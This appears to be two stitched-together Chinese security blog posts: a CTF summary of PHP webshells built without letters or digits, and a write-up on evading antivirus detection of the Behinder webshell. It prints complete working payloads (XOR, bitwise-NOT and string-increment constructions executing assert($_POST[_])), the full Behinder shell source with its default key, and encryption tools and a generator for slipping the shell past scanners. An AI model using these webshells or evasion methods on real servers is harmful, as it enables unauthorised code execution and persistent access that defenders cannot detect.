前言
前段时间在刷CTF题目的时候碰到了各种过滤,其中给我印象最为深刻的是无字母数字Webshell,但是刷题的时候总觉得理解不是那么透彻,于是考虑写一篇总结文章好好总结一下。

背景
所谓的无字母无数字Webshell无法就是对如下原型代码进行绕过
 
<?php
    if(!preg_match('/[a-z0-9]/is', $_GET['shell'])){
        eval($_GET['shell']);
    }
?>


思路
思路梳理
首先,绕过的核心思路是,将非字母、数字和字符通过各种变换,最后能构造出a-z中任意一个字符,最后利用PHP能够动态执行函数的特点,拼接出一个函数名,然后动态执行即可。

为了方便进行研究这里的一句话木马统一用assert函数,并且基于PHP5进行研究。

思路一 异或法
众所周知,在PHP中两个字符串执行异或操作后,得到的还是一个字符串,所以可以考虑通过两个非字母、数字的字符进行异或操作,得到我们想要的字母即可。

使用如下代码可以获取任何我们想要的字符,只需要将其中的字母a改为我们想要的字符即可
 
<?php
for ($i=0; $i < 256; $i++) { 
    for ($j=0; $j < 256; $j++) { 
        if(chr($i ^ $j) == 'a'){
            echo(urlencode(chr($i)) . "  " . urlencode(chr($j)));
            echo "\n";
        }
    }
}
?>
因为很多字符无法打印,采用url编码进行表示了。 所以最终构造的php代码如下:

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__; // $___=$_POST;
$_($___[_]); // assert($_POST[_]);
放入我们的环境中进行测试 payload:

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);


看到这里肯定有很多刚接触的小伙伴会疑惑,明明里面有01、13等这种数字,为什么还能正常执行,在这里解释一下,这里的%01是进行了url编码,当传入时,系统会进行url解码,当进行解码以后就不会包含任何字母数字,而只是单纯的符号组成的webshell。

思路二 汉字取反
第二个思路是位运算里的“取反”,利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如新{1}取反得i

利用这个特性构造我们的payload(在文章最后会给出一个汉字取反字母表):
 
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);


看到这里有小伙伴会疑惑,取反的时候的1和2如何获取的,这里利用了PHP弱类型的特性,在PHP中true的值为1,故true+true=2,所以('>'>'<')+('>'>'<')==2

思路三 字符变量自增
思路三的话没有延续前面两种思路的方法,使用位运算,而是根据php的特性进行操作,在处理字符串变量的算术运算时,PHP沿袭了Perl的习惯。
 
<?php
$a = 'Z';
$a++

上面这段代码,经过运算后,$a将变成AA

所以,当我们有了a以后就能获取a-z任意一个字符。

于是我们要考虑如何获取变量a,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,且数组的值为Array,这样的话我们再取第一个字母就能得到字母A了。


于是最终的Payload如下:
 
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
附录

汉字取反字母表
a实[2]
b来[1]
c在[1]
d国[1]
e的[1]
f这[2]
g是[1]
h时[1]
i他[2]
j法[2]
k用[1]
l体[2]
m和[1]
n我[2]
o成[2]
p可[1]
q后[2]
r不[2]
s和[2]
t下[2]
u上[2]
v有[2]
w我[1]
x出[1]
y了[2]
z其[1]
A得[1]
B国[2]
C於[2]
D以[1]
E了[1]
F对[2]
G一[1]
H工[1]
I时[2]
J电[2]
K年[2]
L法[1]
M没[1]
N就[2]
O到[2]
P是[2]
Q定[1]
R中[2]
S们[2]
T高[1]
U个[2]
V物[2]
W在[2]
X大[2]
Y要[1]
Z以[2]
前言
作为一个打点菜鸡最经常碰到的一个问题就是马被杀的情况

前段时间打靶机,因为开的防护太狠了,给我的冰蝎马删了,于是便有了这篇文章

首先有请我们今天的一号嘉宾——冰蝎的原版马子
 
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    session_write_close();
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>


看一下VT结果:

直接g了个大g

再看一下webdir+的

不出所料也是g了

shellpub还是一样

再来两个常见的,河马和D盾:



梅开二寄

三生三寄

综上所述,一号嘉宾是被各大杀软标记的死死的,因此如果想要用冰蝎的话我们就需要做免杀了,然而对于一个编程菜鸟而言最好的免杀方法就是站在巨人的肩膀上。

花式免杀
php加密
首先是phpjiami网站进行加密

https://www.phpjiami.com



加密后的效果
vt 1/60

webdir+

Shellpub 被查杀了

河马绕过

D盾显示为加密脚本

安全狗绕过


总的来看效果还不错,但是还不是很完美

dezend加密
http://dezend.qiling.org/encrypt.html


加密后的效果
vt 0/60

webdir+检测为后门


shellpub检测为后门


河马检测为后门


D盾检测为加密文件


安全狗检测为后门


事实证明dezend的免杀效果不是很好,除了vt以外其他的基本上都检测了出来,再换个姿势


ByPassBehinder
工具下载地址:https://github.com/Tas9er/ByPassBehinder

这款工具是由Tas9er师傅开发的,好处是使用者无需免杀马的具体实现过程,只需要将生成器放入64位的windows系统中运行即可得到一个免杀的冰蝎吗,免杀效果如下

vt 2/61


webdir+ 绕过


shellpub绕过


河马 绕过


D盾 绕过


安全狗 被查杀


整体来看除了无法绕过安全狗外其他的大部分杀软都能绕过。

总结
对于webshell免杀而言,其实就是跟杀软的检测机制的博弈,杀软的检测机制随着机器学习算法的加入在不断的增强,也就意味了一个免杀马的存活时间注定不会太长,通过现成的webshell生成器终究不是长久之计,只有自己不断学习免杀的思路才是王道。

参考文章
https://xz.aliyun.com/t/11149
https://www.secpulse.com/archives/184357.html
https://www.cnblogs.com/Article-kelp/p/14852485.html
https://blog.csdn.net/weixin_43940853/article/details/104553873
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html